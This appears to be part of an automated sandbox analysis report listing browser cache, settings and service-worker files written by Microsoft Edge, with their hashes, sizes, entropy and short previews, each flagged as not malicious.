SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.578373352799747
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgl75l:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFhb
MD5:	8A20CB8AF11206BE686B4C22F27C29B4
SHA1:	0061A1162581A2A6CBB026458ED328A8FD83361D
SHA-256:	501D3BCF19A6A72F3CE957D85F9936B3047CFD154A8868054AF33D21A912E862
SHA-512:	592B5D8D180E99AF29B72432B2A0C153544F0A2FAF729045ED1C39DB20873287A35632982DD1A8DEE8932107692A5323818D0A7D55F015E7E673644E2B037D65
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.386348273983165
Encrypted:	false
SSDEEP:	3072:gqUtZ4OhIBlqwDTQVnsL/FYM3Q3NWW73vJ1e0y:/qwgVsL/6YoWyBUj
MD5:	BD84E63DC618AA8CCB2EAEDF9678B9D4
SHA1:	D58C8B4AF845DD22E7CF6D7CE4FB3E25E152CEFF
SHA-256:	4BA2B3688FB4D8671A1BA7C12BD3310A238BD4DC03E240BBE35956CAF6F21EF5
SHA-512:	AEB3E042FEA0AD9F6CD9C14D6E3F833D79D7A584F650A1E2E770B298A413030153856738DF35B69308F841879593081A069455D44A9901BC168029F5329580E2
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0....z3.................;....x.x........,T.8..`,.....L`.....,T...`......L`......Rc.......exports...Rc.\.t....module....Rc..?....define....Rb.0_.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..mUwb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:KGzK0XTXl/ly/l9/lxE0tlla/ljj2l:KGzNjmO0gHC
MD5:	211E09B3B9DCEB55B6D6EA1E7262D877
SHA1:	DC36A932662853E49118AD2326A249880B193BC7
SHA-256:	3E7F2E2831E2E747CBEA68F6753F0BEAAE74FD67584B2596715952C65B55DAA7
SHA-512:	9232978953D3557AC991B65C869E9B022F3D6A43CE3E5599C482C78FDDAC9C28101B49B1A6D79D736AB94D8402B7771BBCD810E52E68A37D357229CBD1A32925
Malicious:	false
Reputation:	unknown
Preview:	@..../..oy retne.........................X....,...................(n./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:KGzK0XTXl/ly/l9/lxE0tlla/ljj2l:KGzNjmO0gHC
MD5:	211E09B3B9DCEB55B6D6EA1E7262D877
SHA1:	DC36A932662853E49118AD2326A249880B193BC7
SHA-256:	3E7F2E2831E2E747CBEA68F6753F0BEAAE74FD67584B2596715952C65B55DAA7
SHA-512:	9232978953D3557AC991B65C869E9B022F3D6A43CE3E5599C482C78FDDAC9C28101B49B1A6D79D736AB94D8402B7771BBCD810E52E68A37D357229CBD1A32925
Malicious:	false
Reputation:	unknown
Preview:	@..../..oy retne.........................X....,...................(n./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF32404.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:KGzK0XTXl/ly/l9/lxE0tlla/ljj2l:KGzNjmO0gHC
MD5:	211E09B3B9DCEB55B6D6EA1E7262D877
SHA1:	DC36A932662853E49118AD2326A249880B193BC7
SHA-256:	3E7F2E2831E2E747CBEA68F6753F0BEAAE74FD67584B2596715952C65B55DAA7
SHA-512:	9232978953D3557AC991B65C869E9B022F3D6A43CE3E5599C482C78FDDAC9C28101B49B1A6D79D736AB94D8402B7771BBCD810E52E68A37D357229CBD1A32925
Malicious:	false
Reputation:	unknown
Preview:	@..../..oy retne.........................X....,...................(n./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\50c61eb7-f06b-4598-9dfe-5b5a1a6b4fad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\99d66ec6-8114-4d59-adf0-80eb38269886.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9bd26f06-8e7f-4fa3-84e3-64cc81355bdc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF29466.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d028cfb1-cb62-4648-a106-630836c965e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Reputation:	unknown
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cc67163b-ed11-4e3c-bf9c-d41a9cd8e170.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d38b72ad-74e5-4468-9363-cdd711f5a1b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566967924675146
Encrypted:	false
SSDEEP:	768:ZfOpF/WPhRf9g8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQNTEArw0MpAtuY:ZfOpF/WPhRf9gu1jadlEx0rtD
MD5:	2B32EA356B82D88B68B440D406F3312D
SHA1:	0CFC7EA614161DE94CA292DC4E056E97939FBB58
SHA-256:	E9039615B072F78104A26E103FFA4E235216FD967669E431BF3CF155A97E6249
SHA-512:	A3D3BC070F998EFB59CC14994E24AD3D8E653F90C2CAA8B6DDAEEDC5A161B2179D672D36643F708771413449223C4DC92485A2BC3B1369B644A4E2B8A859282C
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377131555635919","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377131555635919","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dfccd9e5-7090-496a-bbf5-e3bc43a4433b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f5c1cdc1-484c-4d43-b023-ca0b529c99bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17490), with no line terminators
Category:	dropped
Size (bytes):	17494
Entropy (8bit):	5.498133207607939
Encrypted:	false
SSDEEP:	192:stFJ99QTryDiuabatSuypbsfTyaNPdchYktNHBRsKF8pphGGM8+bV+FXeQwKu2+s:stFPGQSu4bsfTtJd4zzKp3GtbGOQwR2/
MD5:	76CA0CB7AB323BC8A80A2584FD2B8249
SHA1:	99A649265250F09A63C801F948751CD4639AD912
SHA-256:	B5E5E7344E9FDDD96E2EFCFD657FF947CDC72C8784E4002CE49455D13B5EA7F2
SHA-512:	6B8A7094AA351562AB222FEE03C22833432DF644F0C40CCC76BD05366B7909651A5D51048D130D9D720EB22E635CEAEE90F5611454C6D849B2B7D8ED259C66D5
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Reputation:	unknown
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Reputation:	unknown
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
